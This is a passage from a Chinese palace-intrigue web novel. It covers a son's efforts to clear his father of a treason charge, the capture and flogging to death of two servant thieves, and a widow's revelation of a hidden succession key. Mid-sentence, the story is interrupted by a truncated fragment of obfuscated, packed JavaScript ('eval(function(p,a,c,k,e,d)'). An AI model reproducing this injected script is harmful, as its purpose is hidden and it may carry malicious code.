方冉途简单跟舒容解释了今日在承光殿上发生的事情,让她安心在府内等候,他会去想办法。他还要急着出门去二公府上,跟舒容叮嘱完后就进屋换好衣服离府。舒容此时除了担心也帮不上什么忙,她决定去采晖堂看看何夫人,刚到采晖堂就听珍珠说夫人出门了,她猜想何夫人跟方冉途一样都是为救方德言奔波,只好又转身回了桂馨院。 永宁侯和护国公府都在城西近皇城的地带,方冉途行至半路才想起此时二人应该在宫中赴宴,不在府上。他在永宁侯府一直等到二更时分,方冉途才终于等到永宁侯回府的车架。 得知方冉途来访,明白他必然为方 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“二少爷,我们接下来怎么办?”康平本来以为凭他家老爷和永宁侯的关系,一定会很顺利,没想到对方却直接把他家二少爷赶出府门,完全不顾朋友之谊。 方冉途抬头望向广袤无垠的碧空,吐了一口气,“往护国公府去。” 护国公府一样不敢违抗太后的话,也是称病将方冉途拒之门外。 方冉途望着再次紧闭的大门,楞在原地许久后才上马车。 “少爷,我们现在去哪里?”康平问。 看到马车矮几上的一本前朝文选,方冉途想起老师跟他说过有事可以去找张士逢张大人商量,他是老师多年的朋友。 “去翰林院。” 方冉途刚进翰林院官署的大门,就遇到了唐新言。 “方大人,你怎么到翰林院来了?”唐新言惊讶地问。他今日也听到同僚谈论方德言下狱的事情,他还听说张大人暂时给方冉途放了长假。 “唐大人好,我是来找张大人的。” 翰林院只有翰林学士姓张,唐新言道:“方大人可能还不知道,张大人夫人今早去世了,现在不在翰林院中,现在翰林院的大小事情暂由骆大人暂代。” 找张大人无望,跟唐新言告辞后方冉途便准备先回府。刚出翰林院大门就遇到穿着一身红色官服的骆简弋。 “方编修怎么今日还有闲心来翰林院,令尊可没有几日好活了。”骆简弋轻笑道。 方冉途一把抓住他的衣领,冷声道;“你这是什么意思?” 骆简弋被方冉途拽地透不过气,死命掰开他的手,却如蚍蜉撼树一般根本掰不动,“方冉途,你先放开我。”骆简弋耿着嗓子喊道。 方冉途一把放开他,骆简弋没有站稳一下子摔倒在地上,怕有人看到自己的丑态,骆简弋赶紧起身拍拍自己今日新上身的官袍。方冉途也没有几日好蹦跶了,以后翰林院就是他的天下,今日他也不介意给自己这位旧日同僚一些真心的提醒。 他学着自己的岳丈摸着自己才长出来的黑色胡须笑着说道:“方编修不要在我面前逞气力,听说你去永宁侯府吃了闭门羹。想来方编修还要去其他府上求人情,我可以告诉你没有人敢帮你,昨日太后娘娘已经发话,就是要置方大人于死地。皇上已经答应太后十日后处决方大人,你还是赶紧回去给方大人准备好棺椁,免得到时候手忙脚乱。” 方冉途紧咬牙关,愤恨地盯着眼前的骆简弋,他紧攥拳头,忍住想要把对方毒打一顿的冲动,现在父亲还在狱中,他不能再生事。 见到方冉途不同往日谦谦君子的样子,骆简弋有些害怕,方冉途看他的眼神太可怕,像是要把他撕碎。他对着方冉途冷哼一声,便扭头朝翰林院里头跑去。 方冉途此刻没有心思跟他计较,吩咐康平回了方府。 “什么?你说太后下令十日后要处决你父亲?”何夫人听完方冉途的话,立时晕倒过去。 “娘!娘!” 33. 抓家贼 众人将何夫人扶到床上躺下,张嬷嬷又让碧桃快去请朱大夫。 舒容从方冉途处得知方德言犯得真的是个掉脑袋的大罪后,当晚夜里都梦到了自己坐上囚车被送到菜市口斩首示众。她倒是不认为方德言真的会干谋逆的事,目前却苦于找不出证据洗刷他的冤屈。皇帝若是个贤明些的还好,若是个暴戾的,她恐怕真的要丧命于此了。 她实在无心工作,去存古堂将店内事情给三人交代后就一直呆在桂馨院里。想到昨日去见何夫人她出了门,今日便想着再去采晖堂看她。刚迈步进采晖堂就听到屋里方冉途的喊叫声。 她快步走进偏厅,见到是何夫人晕过去,她也赶紧过去帮忙。 朱承来后给何夫人施了针,何夫人很快醒了过来。 何夫人只觉得自己身体疲乏,她这两日几乎没睡着过,才会一听到二郎的话就被吓得晕过去。她强行睁开眼看着围在自己床边的众人,道:“我没事了,现在想睡一会儿,你们散了吧。”她现在必须要养足精神,明日才好去天牢里头看夫君。 张嬷嬷见何夫人说这话,对其他人道;“走吧,让夫人好好休息。”等人走后,她过去给何夫人掖好被角,又轻手轻脚地把床帐放好。 一行人走到偏厅当中。 “朱大夫,我娘没事吧?”方冉途焦急地问。 “夫人脉象细弱,忧思太过,精力匮乏,需要静养一段时日。”朱承答道。自他开始为方府看诊以来,何夫人身体一直康健,只偶尔有些头疼脑热的毛病。几日不见病成这幅模样,想来都是因为方大人入狱的缘故。除了方府他也在其他几家达官贵人家看诊,对方大人的事情也有所耳闻。 送走朱承后,舒容见方冉途似乎也要支撑不住晕下去,她连忙过去扶住他。 “二少爷,你还好吗?”舒容关切问。 方冉途只觉得自己脑袋昏昏沉沉,他用手捏了捏自己的太阳穴,道:“我没事,休息下就好了。” “那我扶你坐下。”舒容扶他到旁边的椅子中坐下。 看他略显青黑的眼圈,舒容知道他肯定是为方德言的事情悬心,跟她一样都不得安眠。 “你怎么会来采晖堂?”方冉途问。 舒容给他倒了一杯茶水,“我来看看夫人,二少爷去找人求情可还顺利?” 从她手里接过茶水,方冉途摇摇头,“他们都把我拒之门外了,说是太后的旨意,要把父亲置之死地。” 太后?方德言一个工部尚书,怎么会跟太后有瓜葛? “老爷跟太后娘娘之间有过节?”舒容问。 方冉途摇摇头,“我也不清楚。我只记得父亲曾向皇上进言阻止用工部的银款给太后在九霄山修行宫。” 看来太后就是要在此时落井下石报复方德言,既然太后势大,若没有证据翻盘,八日后就是方德言的死期。他们不能坐以待毙。 “二少爷接下来有什么打算?” 方冉途想到那块匾额和督建的宫人,记得父亲对他说过重修承光殿的都是代州来的工匠,四天前他去巡视过后确认没有问题才放那些工匠返乡,之后承光殿就交给宫人打扫,日夜有人看守,不可能有人能趁此将一丈多长的匾额带进去换下原来的匾额还无人发现,一定是那帮工匠换上去的,。 “我要去找修建承光殿的工匠。母亲这里你就多帮我看顾一下。”方冉途抬头看着舒容道。 看到他眼中发红的血丝,她心中闪过一丝心疼,“好,夫人这里有我在,二少爷放心。二少爷也要保重身体,先回竹香院休息一下吧。” “是啊,二少爷,你今天就早上吃了一小碗粥,这样身体支撑不住的,你要是也倒下了,方府可怎么办啊。”康平说着眼泪掉了下来。 “二少爷,康平说得有道理,如今正是府里的困难时期,你更要保重好身体,二少爷回竹香院先吃过饭再好好睡一觉,明日再出发去找工匠。”舒容看着他的眼睛说道。 “好,这里就拜托你了。”方冉途点点头。 方冉途说完就起身和康平一起回竹香院,吃过晚食后,强逼着自己入睡,第二日一早便出门去寻找代州工匠的线索。 舒容在采晖堂等何夫人睡醒一觉吃过朱大夫开得汤药后才回桂馨院。何夫人让她第二日不必去采晖堂,她便在桂馨院中拉着绿影一起绣手帕,想到越来越临近的日期,她心中烦乱,只有手上有事情做才会心里安定一些。 临近中午,绿影刚把午膳的饭菜摆在桌上,碧桃就喘着粗气跑到桂馨院里来找她。 “舒容姑娘,太太又晕过去了。张嬷嬷让我来唤姑娘到采晖堂去。” 闻言,舒容放下手中的竹箸,起身跟着碧桃去了采晖堂。 “太太什么时候晕过去的?”一到采晖堂,舒容就问张嬷嬷。 “太太今天去天牢见了老爷,刚刚一回采晖堂就晕过去了。”天牢里头只允许一个人进去探望,她在天牢门口等着何夫人,也不知道里头究竟怎么样。想来肯定是老爷在里头过得不好,太太伤心太过才会又晕过去。 想到何夫人平时和方德言感情甚好,如今丈夫身陷囹圄,生死未卜,何夫人担心难过也是正常的事。 “请朱大夫了没?”她又问道。 张嬷嬷用手帕擦干自己眼角的泪水,道:“我已经让珍珠去请了。” 舒容走进寝房,看到躺在床上面无血色的何夫人眼中掉下泪来,她这么有活力的人,短短几天就成了这幅模样。 听到房门外传来的脚步声,舒容赶紧擦干自己的眼泪。转身看是张嬷嬷领着朱承进来了。 “朱大夫,快看看太太情况如何?”舒容着急道。 朱承一番诊断后,道:“夫人想来受了大刺激,比昨日的情况又更严重一些。我昨日开的药暂时不必换只在里头再加几味安神的药材,只是切莫再让夫人劳神。方大人的事情相信吉人自有天相,一定要让夫人先保重自身才是。” 送走朱大夫后,张嬷嬷去厨房亲自盯着熬药,舒容在寝房里照看何夫人。 何夫人睡得并不安稳,她的眉头紧锁,嘴巴张张合合似在梦呓,舒容正准备给她把被子掖好,何夫人突然惊叫一声醒了过来。 “太太。”舒容轻声唤她。 何夫人睁开眼想到刚才自己梦到丈夫人头落地,她眼里霎时掉下泪来。听到舒容在唤她,她对舒容微微一笑,“好孩子,你怎么来了?” 看何夫人想要起身,舒容忙扶她坐起来,又拿过枕头让她靠住。 “太太刚才昏过去了,现在可好些了?” 何夫人没想到自己身体这么不争气,“没事,我好好的。” “听张嬷嬷说,太太去了天牢,老爷怎么样?” 听舒容提起方德言,何夫人又流下泪来。方德言穿着囚服在阴湿的天牢里头,手上脚上都套着重重的铁链,才短短三天人已经瘦了一大圈。他说他已经知道太后的事情,让她不要忧心,相信皇上一定能查明真相还他清白。 何夫人没有把方冉途求人碰壁的事情告诉他,只是点头附和他的话。 舒容看到何夫人眼泪越流越多,拿出自己的手帕轻柔地为她拭泪。 何夫人这才回过神来,道:“老爷他还好,二郎呢?他现在何处?” 舒容将方冉途去找线索的事情告诉她,何夫人点点头,“也只有如此了。” 张嬷嬷把熬好的药汤端进来,服侍何夫人喝了药,又伺候她睡下。 张嬷嬷知道舒容还没吃午膳,特意让珍珠准备了午膳。吃过午膳后,舒容又进寝房中守着何夫人,一直到入夜后方才回去桂馨院。 三更时分,舒容仍旧无法入睡。她披衣起身,在院子里头散步赏月,忽然听到小门外有一阵吵架的声音。 “让你拿老爷书房里的墨玉瓶,你非要拿这个画,你真当你是读书人啊。”女人骂道。 “小声点,你想把人都招来啊。”男人喝道。 “守门婆子你都打点好了?”男人又问。 “自然,我在她晚上吃的饭菜里头下了不少安神香,保管她听到鞭炮声响都醒不过来。”女声道。 原来是一对小偷。舒容小心地打开小门,跟上他们,只见月光下一男一女背着包袱正鬼鬼祟祟地走近东侧门。 “你们干什么!”舒容大声喝道。 那二人不曾料想会有人看到他们,听到舒容的声音俱是浑身一惊。惊讶过后,二人加快了冲向东侧门的速度。那被药晕的守门柳婆子正坐在门槛上靠着大门打鼾。门被柳婆子挡住,女子被根本打不开大门。 “闪开,我来。”男子喝道。 舒容见他们还想跑,一边大喊有贼一边跑向他们的方向。桂馨院里绿影睡得迷迷糊糊听到舒容的声音一下子惊醒,起身发现舒容房间没人又见小门开着,忙拿起院子里的扫把冲出来找她。 男子刚想把柳婆子推开,舒容已经跑到他们面前,拽着男子身上的包袱将男子一把拉到一边,女子看到舒容出现过来拉扯她的衣袖。舒容一脚把她踹倒在地。 听到东侧门有声响,绿影赶紧跑过来。见到一男一女正和舒容扭打在一起,绿影连忙用扫把往二人身上招呼。有了绿影的帮忙,那女人很快就服软,被绿影摁在一旁。那男人见势不对,从袖口中拿出一把匕首就要往舒容身上招呼,一时之间,舒容对抗起来有些吃力,男人的匕首将她衣袖划破,险些划伤她的胳膊。她小心地与男人周旋着。 此刻府内负责巡夜的张婆子李婆子二人也听到舒容刚才的声音赶到了东侧门。张李二人都是气力大的,也会些拳脚功夫。有了这二人的帮忙舒容趁机打掉了男人手里的匕首,婆子二人一人按住男人的一只胳膊将男人制服。 守门的柳婆子听到声响也没有转醒,只觉得有些吵闹,伸手捂上耳朵又继续睡觉。 舒容的桂馨院是离这儿最近的,舒容便让二位婆子把这两人用绳子分别捆在院子里的两株丹桂树上,等明天一早再送二人到采晖堂交由何夫人处罚。由婆子二人守着,舒容让绿影给二位婆子准备好茶点后就回房去睡觉,出乎意料的是一夜好眠到天亮。 吃过早膳后,舒容便带着人去了采晖堂。 张嬷嬷看到舒容压来的两人吃惊不已。这二人一个是跟在老爷身边多年的小厮钱茂,一个是府里头管花木的陈霞,两人是一对夫妻。舒容把二人盗窃的珍宝字画摆在张嬷嬷面前,并说明昨晚的事情。张嬷嬷怕何夫人经受不住又再次晕过去,便不准备告诉何夫人这件事。 珍珠却手脚快,立马进屋告诉了何夫人。何夫人刚吃完早膳,正在喝药。听闻此 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因为怕二人叫嚷,舒容把人抓到桂馨院里头就用布条将二人的嘴勒起来。现在才让人把布条去掉。 张嬷嬷把何夫人的话告知康管家,此时二人都等着舒容的惩处手段。舒容让康管家将各院中的下人都叫到前院的院子里来。 等人到齐后,看着跪在地上的二人,舒容把昨晚的赃物摆在他们面前,又让方德言身边的管事卢望来看过,确实都是方德言书房里的东西。 卢望失望地指着钱茂喊道:“钱茂,你这个忘恩负义的东西,当初你在城墙根儿下乞讨被其他乞丐打,是谁把你救出来的?在方府,老爷教你认字,给你吃给你穿,你就这样报答老爷。”卢望说着还不解气,走过去朝钱茂身上踹了一脚。 “钱茂,陈霞你们二人可认罪?”舒容问道。 面对确凿的证据,二人也无从抵赖。陈霞知道事情败露一定没有好果子吃,当时就劝钱茂不要这样干。钱茂许诺她卖了东西,还了赌债,两个人就去个没人认识的地方开个小店。她被他说得心动,就答应和他一起去偷东西。现在想来,赌鬼的话根本就不能信,她开始埋怨起钱茂,“钱茂,都是你害得,要不是你赌钱输了,我们哪里要去偷老爷的东西。老娘嫁给你真是倒了八辈子霉。” 抬头看到采晖堂的牌匾,又想到是夫人在父亲为了给哥哥娶媳妇要把她卖进青楼时把她救了下来,陈霞突然悔不当初,挪到钱茂身边用拳头死命砸他。 钱茂没有躲开妻子的拳头,也没有开口,他冷冷看着舒容,他有了这个想法起就做好了决定,他钱茂就是贱命一条,他一点都不害怕。他方德言带自己回府是他自己愿意的事情,他在方家给他做了这么多年的奴仆早就还清他了,要不是方德言拦着他不让他赌博,凭他的运气早都赢了上万两银子了。何况现在方德言在天牢里头已经没有几天活命,自己只是偷点东西没有放火杀人,也算对得起他了。 “康管家,府中以往有这种事是怎么判的?”舒容问一旁的康健安道。 “此等事我朝有律令,家奴偷主家东西者杖一百然后发卖,不必报官,只需去官府请监督和执杖即可。”康管家道。 舒容不知道这二人一百杖后还有没有命活着,现下也只好杀鸡儆猴,自打方德言出事后,她也感觉到了府里的人心浮动,绿影去厨房拿回来的饭菜有几次都是冷的,她也不止一次听到有人散播谣言说方德言已经被皇上处死,连方冉途也被罢官了。若不及时制止,方老爷的判决没下来之前,方府就要乱套了。 她狠下心来,道:“那就请康管家去官府里头跑一趟。” 康管家领命而去,半个时辰后来了三名官府的人,一个是监督,两个是执杖。监督重新问清罪名,确认无误让二人画押后让执杖行刑。院子里头传来二人哀嚎的声音,不到五十棍,陈霞就被打死过去。钱茂被打后也不再嘴硬,大喊求饶,最后也没能挨过一百棍,打到九十二棍也没了声息。 监督命人停止行刑,他上前确认二人死亡后,做了记录,带着行杖二人离开。康管家拿了五两银子送他们出府。 舒容强忍着想要呕吐的感觉,看完了行刑,看到两个生命在自己眼前消失,她的眼眶不自觉地湿润。院子里头其他观看行刑的下人,有人已经吐了起来,也有跟两人素日关系好的小声呜咽起来,也有指着说二人偷东西背主死有余辜的。 舒容镇定心神,大声对院子里的众仆役说道:“如今老爷被关押,却并没有定罪。你我都是方府的人,一荣俱荣,一损俱损,在这个时候我希望大家心里不要有什么小心思,否则今日的下场大家也都看到了。我言尽于此,大家散了吧。” 等众仆走后,舒容对康管家说道;“这二人若有亲人的就让他们来领,给他们亲人二十两银子,若没有亲人,府里就出钱好好安葬了。” 处理好这件事后,舒容回了桂馨院,一到桂馨院她就再止不住心头想吐的冲动,在院子里头吐了个昏天黑地,吐到全是清水才停下来。绿影小时候就在菜市口看过杀人,倒是不怎么害怕。吐过之后,舒容心里好受不少。在桂馨院吃过午膳后,又出门去采晖堂看何夫人。 又过三天,离太后说的十日只剩三天。 这日舒容仍去采晖堂,刚到没一会儿就碰到了回府的方冉途。 34. 枇杷巷的柳芳意 “二少爷,你回来啦?”舒容笑着看向方冉途,自从那日他说去找工匠做证人后就一去不复返。 方冉途看着舒容关切道:“嗯,你和母亲在府里可好?” “挺好的,太太身体也好起来了。”好好吃了几天的药后,何夫人的精神状况已经恢复许多。 看到他凌乱的鬓发和嘴角冒出的胡茬,舒容有些心酸。 “好,那我先进去找我娘说话,一会儿再出来找你。”方冉途笑着对他说。 方冉途进房间后,舒容从康平那里知道,他们还没有吃早食,忙让碧桃去厨房传饭。 何夫人见到方冉途回来很是高兴,两人一番交谈后,方冉途从寝房出来来到偏厅。 饭菜已经摆好,舒容招呼他吃饭。方冉途一连吃了两屉小笼包和两碗粥才停下来。 看到舒容看向自己的眼神,他有些不好意思道:“我昨晚也没有怎么吃饭,实在有些饥饿。” 吃过饭后,方冉途就向舒容讲起自己这几日的发现。从代州来的工匠一共有三批,分别青州帮,青山帮和云龙帮。他这次找到的就是青州帮的一个管事,他因为想在京郊的窑厂买批新样式的花瓶回代州贩卖,因此还不曾离开,一直和自己的两个手下守在窑厂。他也知道了承光殿的消息,因此躲起来怕被官兵抓捕,方冉途因此花了两天时间才找到他。 据他所说负责主殿和匾额安装的是其中技艺最好的云龙帮,他们都来自于代州的云龙镇。出皇宫后云龙帮的管事说京郊外头还有户人家要请他们做工,便没和其他的工匠一起返程回代州。他只知道,他们当时说要先在京郊的梧桐镇落脚。 于是他便和康平去了梧桐镇,却没有找到那群工匠的身影,身上的银子还被小贼给摸去了,只好先回来再想办法。 “那你还要再去梧桐镇吗?”舒容问,她有些担心这个管事给方冉途的是错误的信息。 “要去,只有三天时间,无论如何我也找找到云龙帮的那群人。”方冉途坚定地说道。 “既然这样,那二少爷先回竹香院洗漱一番再出发吧。”舒容看着他憔悴的样子温声言道。 方冉途看着自己身上几日没有换过的衣服和垂在脸前的头发,为了蹲到那个管事,他和康平都是蹲在离窑厂大门不远处的牛棚里,身上似乎都能闻到一股牛的味道。他也有些嫌弃自己,道:“好,我也打算洗漱一番再出门。那我先回去了。母亲这里还是烦请你多留心。” “这是我应该做的。二少爷出门在外当心。”舒容关心地说道。 方冉途听到她的话心中熨帖,微笑着对她点点头。 方冉途走了一个时辰后,绿影给舒容送来一件湖蓝色对襟披风,“姑娘,天突然冷起来了,你多加件衣裳,别着凉了。” “多谢绿影。”舒容穿好衣服后,看到绿影忽然想到了另一种可能性,会不会是方冉途找错了地方? “绿影,你知道梧桐镇吗?”舒容看着绿影问。 “知道啊,姑娘怎么问这个?”绿影笑着回道。 “那你知道京郊有听起来和梧桐镇一样或类似的镇吗?”舒容紧张地等待她的回答。 绿影笑着说道:“姑娘说的梧桐镇就在我们清水镇旁边,说是镇子里头有几棵很高大的梧桐树就起了这个名字,我小时候我爹还带我去玩过呢。另外还有一个镇听起来和梧桐镇很像,叫做五通镇,这个五通镇在京城北面,姑娘说的梧桐镇在京城南面,这两个镇听起来像,实际上是一南一北两个地方,听我娘说北边的五通镇盛产一种叫神仙醉的米酒,有些外地客商想要买回去卖,好些人因为听茬了跑到南边的梧桐镇来买酒呢。” 真有这样凑巧的事,或许这才是方冉途找不到人的原因。 “走,绿影,我们去竹香院。”她必须赶在他走之前告诉他。舒容拉起绿影就往竹香院的方向跑,跑到一半绿影跑不动,舒容便自己朝前跑去。 等她们到的时候,方冉途和康平已经走到竹香院外的路上准备再去梧桐镇。看到舒容一路朝自己跑来,方冉途觉得自己心脏狂跳。他已经听母亲说过舒容捉拿钱茂的事情,母亲还说舒容日日在她身边照顾,十分尽心。听母亲说的时候他就觉得自己对她了解更多更喜欢舒容了。现在她朝自己跑来,自己更是好想伸手抱住她。 看到他还在,舒容心里松了口气,跑到他面前停下,捂着胸口笑道:“二少爷,还好你没走。” 方冉途看她跑得满头大汗的样子,他拿出自己干净的手帕,走到她面前温柔地给她擦汗。 舒容突然闻到方冉途衣袖间的皂角香气,一时有些愣神。明白过来是方冉途在给她擦汗后,她感觉心脏比刚才跑的时候还要跳得厉害。她抿住嘴唇抬头看向他,方冉途的神情很专注,眼神柔得像一汪清泉。方冉途感受到她的视线,也垂下眼来与她对视,在短短的几秒钟里,舒容确认了一件重要的事情,她喜欢上方冉途了。 想到自己来的目的,舒容伸手拉下他给自己擦汗的手,道:“二少爷,我知道你为什么找不到云龙帮的人,你可能找错地方了。” 方冉闻言一怔,突然明白过来她的意思,那管事说的是带着代州口音的官话,他可能听茬了。京郊除了梧桐镇,还有一个五通镇。 他伸手握住舒容的手,对她道:“我知道你说的意思了,我这次去北边的五通镇,你等我回来。” 舒容还没来得及回握,他忽然放开她,往大门的方向去了。舒容看着他的背影,依依不舍地目送他离去,等绿影到的时候就看到舒容的这幅神情,绿影觉得这种神情似乎在谁的身上看见过。等经过竹香院的时候,她突然想起刚刚姑娘的表情就是二少爷当时在马车看向姑娘的表情啊。 吃午膳的时候,绿影忍不住问舒容:“姑娘,你是不是喜欢上二少爷了啊?” 被戳中心事的舒容,准备夹菜的手一顿,害羞地看向绿影道:“很明显吗?” 看到舒容害羞的模样,绿影捂住嘴巴笑起来,“姑娘,你害羞的模样真可爱。” 舒容拿起公筷给绿影碗里夹了一块酸梅鸭,笑道:“吃饭了,不准再取笑我。” 吃过饭后,两人又去了采晖堂。陪何夫人吃过晚膳后才又回去桂馨院。 经过竹香院的时候,舒容心里又想起方冉途,想起他的眼睛和他手心的温度。 第二日,舒容刚吃过早食准备去采晖堂,守东侧门的柳婆子突然来敲桂馨院的小门,说是有个叫柳安的姑娘要找舒容。 听到柳安找她,舒容赶紧去东侧门见她。只见柳安穿着那天见面时穿的衣服,眼睛哭得红肿,可怜巴巴的小脸上满是泪痕。一见到舒容,就跪倒在她面前。 舒容赶紧将人扶起来,“柳安姑娘,你这是怎么了?” “恩人,我娘昨天趁我出去卖果子的时候,自己午膳用菌子做了汤吃,昨晚便时不时腹痛难忍,今天腹痛的时候更是疼得在床上起不来。我手里的钱都拿去交房钱去了,现在没有钱请大夫给我娘治病,恳请恩人借我些银两,来日一定会还给你的。”柳安抽泣道。 “你娘肯定是吃了菌子中毒了,我这里有些银子你赶紧请大夫给你娘治病。”舒容说着从袖袋里头拿出荷包,倒出里头全部的五两银子拿给柳安。 柳安从舒容手里接过银子,仍旧用期盼的目光看向舒容,“恩人……” “还有何事?” “恩人可否陪我去一趟我家,我刚刚跑出来的时候遇到王大铁拦路,我不敢一个人回家,我怕身上的银子被他抢去。” 舒容抬头望了眼天色,对柳安点点头,道:“你在门口等我一会儿。”舒容回去和绿影说自己要出去一趟,让她待在桂馨院等自己回来。 舒容陪柳安去请了附近济民堂的大夫,三人一同去了枇杷巷的柳家。果然那王大铁贼心不死守在柳安回家的路上,舒容作势要打人,他便忙不迭地往反方向跑走。大夫给柳芳意诊断后,确定她是食物中毒。每年到这个时候都是菌子中毒高发季,济民堂已经接到好几个这样的病人,给柳芳意施过银针后,留下了济民堂提前做好的丸药,收了一两银子的诊费后就离开柳家。 “恩人,剩下的四两银子还给你。”柳安把银子捧在手心里递给舒容。 舒容看着柳芳意身上盖的被子都打着厚厚的补丁,屋子里头的椅子有个还缺了一条腿,歪歪地靠在土墙上。 她摆了摆手道:“这银子你先收着,说不定有用得到的地方。我也不缺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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舒容没想到才几天时间承光殿上的事情就已经传得人尽皆知,若是方冉途这次去五通镇找不到证据证明方德言的清白,方德言估计真的要被砍头了。如果方德言以谋逆罪论处,方家众人和她自己的项上人头能不能保住就很成问题了。 想到此处舒容觉得很是悲哀,她叹了口气道:“我家老爷确实因为这件事被关进大牢了,我们都相信老爷是清白的,只是现在找不出证据。” 一旁的柳芳意听到女儿说的话,抓住舒容的手一瞬间握紧,她激动道:“安儿,你可知道那匾额上写的是什么?” 柳安摇摇头道:“我不知道。只听说是句大逆不道的话。” 舒容对柳芳意突然激动的神色感到意外,难道这个在枇杷巷的柳娘子跟方老爷有故? “韩纪窃国。”舒容说道,“匾额上写的就是这四个字。” 她说完看向柳芳意,只见她浑身颤抖起来,脸上显出痛苦的神色。 “娘,你可是又腹痛了?”柳安看她的样子,关心地问道。 柳芳意摇摇头,“安儿,我没事。你去取一把锄头来。” 柳安不知道她娘要干什么,还是听话前去。柳芳意起身走向床旁边的木柜子,脸上带着微笑,用手试图搬开柜子。 “柳娘子我来帮你。”舒容站到另一边帮助抬起木柜。 柳安从柴房里头拿来了锄头,看到柳芳意把柜子搬到屋中间,不解道:“娘,你这是干什么?” “安儿,过来把这里的土掘开。”柳芳意指着原本柜子底下的那块地方说道。 “娘,你究竟是干什么呀?” “你不要多问,照我说的做。” 舒容打量起眼前这个看似平平无奇的妇人,她身上一定有什么秘密,柜子底下说不定就是秘密所在。 柳安无奈地开始掘土,好一会儿终于挖到一个木盒,柳安惊讶极了她从来不知道这里埋了东西。 “安儿,把那木盒小心挖出来。”柳芳意嘱咐道。 不一会儿功夫,柳安把挖出来的木盒摆到了堂屋自家吃饭的桌子上,木盒没有上锁只是用麻绳捆住。用剪刀剪开后,里头是一个锦盒和一个荷包。 柳芳意把锦盒和荷包拿出来后,怀着抱着两样东西又哭又笑。她终于等到了这一天,她要为她的夫君报仇雪恨。 舒容和柳安两人面面相觑,不知道柳芳意这是怎么了。过了好一会儿,柳芳意把两样东西推到舒容的面前,“舒姑娘,这是我给你的谢礼。有了它们,可以帮助方家脱离困境。” 35. 救他 “柳娘子,你这是什么意思?”舒容不解地问。这两样东西跟方德言的事又有什么关系。 柳芳意将荷包打开,从里头取出一块红月玉佩,她摩挲着这块玉佩给舒容讲了一段过去的故事。 十六年前柳芳意是宫里元极殿的一位宫女,与皇帝的刺峰卫首领原陌相爱,魏皇后得知此事,恩准柳芳意出宫,给二人指婚,并送这块红月玉佩作为新婚贺礼。当时先皇卧病在床,将丞相等几个心腹大臣叫到病榻之前,告诉众人自己会把传位诏书放在元极殿的横梁之上。 先帝八子四女,太子和四皇子皆是先皇后所生,先皇后病逝后立贵妃魏氏为继后,继后生六皇子和端阳公主。二皇子和三皇子是良妃所生的双生子,因为宫人照料不周,未满月皆离世。五皇子是御花园中打扫的宫女所生,五皇子出生后宫女被封为丽贵人。七皇子和八皇子皆是淑妃所生。 当时先帝缠绵病榻,太子两年前围场打猎时摔马而死。众位皇子中有能力争夺储君之位的只有先皇后的四皇子和魏皇后的六皇子。先皇有意传位给发妻生的四皇子,弥补当年自己平定西域时对发妻的亏欠。所以在元极殿的横梁之上放的是传给四皇子的传位诏书。 五皇子即现在的赵王,听闻了此消息,他一直野心勃勃想要继承皇位,他的母家不能给他助力,他在朝堂上也没有势力,他却不甘于此想要拿到传位诏书再篡改成自己的名字。他收买元极殿的太监,想要盗走诏书,被刺峰卫首领原陌发现,原陌将此事禀告给先皇。元极殿的太监见事情败露上吊自尽。此时太子妃携世子入宫看望先皇,告诉先皇当年太子摔马一事乃是四皇子所为,并且拿出了确凿的证据。 先皇对杀害自己亲兄长的四皇子感到失望。他将原诏书烧掉,重拟了一份传位给六皇子的诏书装在设锁的漆木盒之中,让原陌把漆木盒放到藏书阁明德塔的匾额之上。把开启漆木盒的钥匙交给原陌,让他在自己病逝后再将钥匙交给丞相打开漆木盒。 后来先皇突然驾崩,六皇子有母族魏氏的帮助控制了皇宫和京城的守卫,赢得了皇位。四皇子领命在外剿匪,等他听到消息赶回京城时,六皇子已经登基。京城里头突然流传起六皇子夺位的流言。先皇病逝时原陌正在宫外办先皇交办的任务,任务完成后他便在京郊的玉佛寺接去拜佛的柳芳意一同回家,没想到在路上竟然遭到了赵王派来的刺客。赵王痛恨原陌对他计划的破坏,赵王得知原陌行踪后,便想出一个一石二鸟之计,想要把他杀了嫁祸给六皇子,以此激起四皇子对六皇子的仇恨。 赵王的暗卫与原陌打得难解难分,原陌为保护柳芳意受重伤,两人躲到一处山洞中,原陌将先皇的命令告诉柳芳意并把放有钥匙的锦盒交给她,让她有一天找到机会交给六皇子。第二日,赵王的人还是找到了山洞,原陌为了让柳芳意有机会逃走主动引开暗卫被暗卫杀死。暗卫带走他的尸体故意放在进京城的大道上。 柳芳意则是因为头一天眼睛接触到暗卫撒的药粉,眼睛慢慢变瞎。她走出山洞后,想要去找原陌,意外晕倒在大路边,被一个中人所救,对方看她可怜给她找了现在枇杷巷的房子。后来得知自己怀孕,胎像不稳,为了保住原陌在世间的唯一血脉,她决定先生下孩子再去将东西交给六皇子。 在柳芳意怀孕到生下柳安的这一年里,四皇子谋反,狱中自尽,六皇子坐稳了天下。她分别去原来的六皇子府和皇宫想把东西交给六皇子,都被人赶走。在皇宫那次她还险些遇到赵王身边的那个曾经追杀他们的暗卫,那个暗卫的嗓音很特别,她一听就认了出来。 想到六皇子已经不用传位诏书证明自己的身份,于是她也就歇了心思,把东西埋了起来。在枇杷巷里专心做一个浣衣女把柳安拉扯长大。而今旧事重现,柳芳意认定挑起此事的人就是赵王,只有他才会对皇位之事耿耿于怀,也只有他才喜欢用这些上不得台面的伎俩。 柳芳意把事情说完,再次看着舒容道:“舒姑娘,我说的都是实话。这两样东西就交给你了。” 舒容看到她认真的神色,相信她所言不虚,起身把东西收好,“柳娘子,多谢了。” 舒容拿好东西,又让柳安跟她一起去了存古阁,把柳安介绍给胡顺认识,让胡顺有空多去枇杷巷关照母女俩。之后便赶紧回了方府。才到东侧门就遇见了蓬头垢面的康平。 “舒容姑娘,二少爷出事了。”康平气喘吁吁道。 “什么时候的事?”舒容瞬间紧张起来。 两人回到桂馨院,康平将两人去五通镇找云龙帮工匠的事情一一告诉舒容。他们那天去打听,确实找到了云龙帮来过的痕迹,说他们曾经在一家酒肆吃饭,饭后便有人接他们离开。至于离开的方向,酒肆的老板听席间的人说起去镇东边的别院。方冉途和康平便又骑马往东走,两人果然找到了一所规模宏大的宅邸,听附近的村民说是京城里一个达官贵人的别院。 